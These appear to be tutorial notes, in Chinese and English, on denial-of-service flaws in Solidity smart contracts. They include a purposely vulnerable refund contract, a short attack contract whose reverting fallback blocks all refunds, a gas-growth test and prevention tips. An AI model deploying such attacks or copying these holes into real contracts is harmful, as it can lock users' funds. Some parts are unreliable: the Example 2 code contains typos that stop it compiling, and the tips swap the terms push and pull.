DDos
在 Web2 中,拒绝服务攻击(DoS)是指通过向服务 器发送大量垃圾信息或干扰信息的方式,导致服务器无法向正常用户提供服务的现象。而在 Web3,它指的是利用漏洞使得智能合约无法正常提供服务。
Like loop , 如果有10000个人进入,那么将会消耗大量的Gas,这样就会有DDOS。
Type
- Simply have external call revert
 - To transfer token to an address which is BlackListedA
 - Send ether to an contract that does not except it
 - Call an function on an contract that does not have fallback function or not have the function on it
 - Return data that is not in the expected format
 - Consume so much gas with the External Call
 
1-Simply have external call revert
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.4;
// 有DoS漏洞的游戏,玩家们先存钱,游戏结束后,调用refund退钱。
contract DoSGame {
    bool public refundFinished;
    mapping(address => uint256) public balanceOf;
    address[] public players;
    // 所有玩家存ETH到合约里
    function deposit() external payable {
        require(!refundFinished, "Game Over");
        require(msg.value > 0, "Please donate ETH");
        // 记录存款
        balanceOf[msg.sender] = msg.value;
        // 记录玩家地址
        players.push(msg.sender);
    }
    // 游戏结束,退款开始,所有玩家将依次收到退款
    function refund() external {
        require(!refundFinished, "Game Over");
        uint256 pLength = players.length;
        // 通过循环给所有玩家退款
        for(uint256 i; i < pLength; i++){
            address player = players[i];
            uint256 refundETH = balanceOf[player];
            (bool success, ) = player.call{value: refundETH}("");
            require(success, "Refund Fail!");
            balanceOf[player] = 0;
        }
        refundFinished = true;
    }
    function balance() external view returns(uint256){
        return address(this).balance;
    }
}
漏洞存在于退款的:
  (bool success, ) = player.call{value: refundETH}("");
一旦用户的地址存在恶意函数写在回退函数中,就会触发DDOS,比如:
contract Attack {
    // 退款时进行DoS攻击
    fallback() external payable{
        revert("DoS Attack!");
    }
    // 参与DoS游戏并存款
    function attack(address gameAddr) external payable {
        DoSGame dos = DoSGame(gameAddr);
        dos.deposit{value: msg.value}();
    }
}
3-Send ether to an contract that does not except it
- Dont have receive
 - call a function which does not exit
 - runs out of gas
 - thirdparty contract is simply MALICIOUS
 
4-Call an function on an contract that does not have fallback function or not have the function on it
6-Consume so much gas with the External Call
Example 1:
Dos.sol:
// SPDX-License-Identifier: MIT
pragma solidity 0.8.20;
contract DoS {
    address[] entrants;
    function enter() public {
        // Check for duplicate entrants
        for (uint256 i; i < entrants.length; i++) {
            if (entrants[i] == msg.sender) {
                revert("You've already entered!");
            }
        }
        entrants.push(msg.sender);
    }
}
Test.sol:
// SPDX-License-Identifier: MIT
pragma solidity 0.8.20;
import {Test, console2} from "forge-std/Test.sol";
import {DoS} from "../../src/denial-of-service/DoS.sol";
contract DoSTest is Test {
    DoS public dos;
    address warmUpAddress = makeAddr("warmUp");
    address personA = makeAddr("A");
    address personB = makeAddr("B");
    address personC = makeAddr("C");
    function setUp() public {
        dos = new DoS();
    }
    function test_denialOfService() public {
        // We want to warm up the storage stuff
        vm.prank(warmUpAddress);
        dos.enter();
        uint256 gasStartA = gasleft();
        vm.prank(personA);
        dos.enter();
        uint256 gasCostA = gasStartA - gasleft();
        uint256 gasStartB = gasleft();
        vm.prank(personB);
        dos.enter();
        uint256 gasCostB = gasStartB - gasleft();
        uint256 gasStartC = gasleft();
        vm.prank(personC);
        dos.enter();
        uint256 gasCostC = gasStartC - gasleft();
        console2.log("Gas cost A: %s", gasCostA);
        console2.log("Gas cost B: %s", gasCostB);
        console2.log("Gas cost C: %s", gasCostC);
        // The gas cost will just keep rising, making it harder and harder for new people to enter!
        assert(gasCostC > gasCostB);
        assert(gasCostB > gasCostA);
    }
}
Example2 :
function distributeDividends(uint256 amount) public payable lock {
        require(amount == msg.value, "don't cheat");
        uint256 length = users.length;
        amount = amount.mul(magnitude);
        for (uint256 i; i < lekgth; ++i) {
            if (users[i] != address(0)) {
                UserInfo storage user = userInfo[users[i]];
                user.rewards +=
                    (amount.mul(IERC20(address(this)).balanceOf(users[i])).div(totalSupply.SUb(MINIMUM_LIOUIDITY)));
            }
        }
    }
预防方法
很多逻辑错误都可能导致智能合约拒绝服务,所以开发者在写智能合约时要万分谨慎。以下是一些需要特别注意的地方:
- 外部合约的函数调用(例如 
call)失败时不会使得重要功能卡死,比如将上面漏洞合约中的require(success, "Refund Fail!");去掉,退款在单个地址失败时仍能继续运行。 - 合约不会出乎意料的自毁。
 - 合约不会进入无限循环。
 require和assert的参数设定正确。- 退款时,让用户从合约自行领取(push),而非批量发送给用户(pull)。
 - 确保回调函数不会影响正常合约运行。
 - 确保当合约的参与者(例如 
owner)永远缺席时,合约的主要业务仍能顺利运行。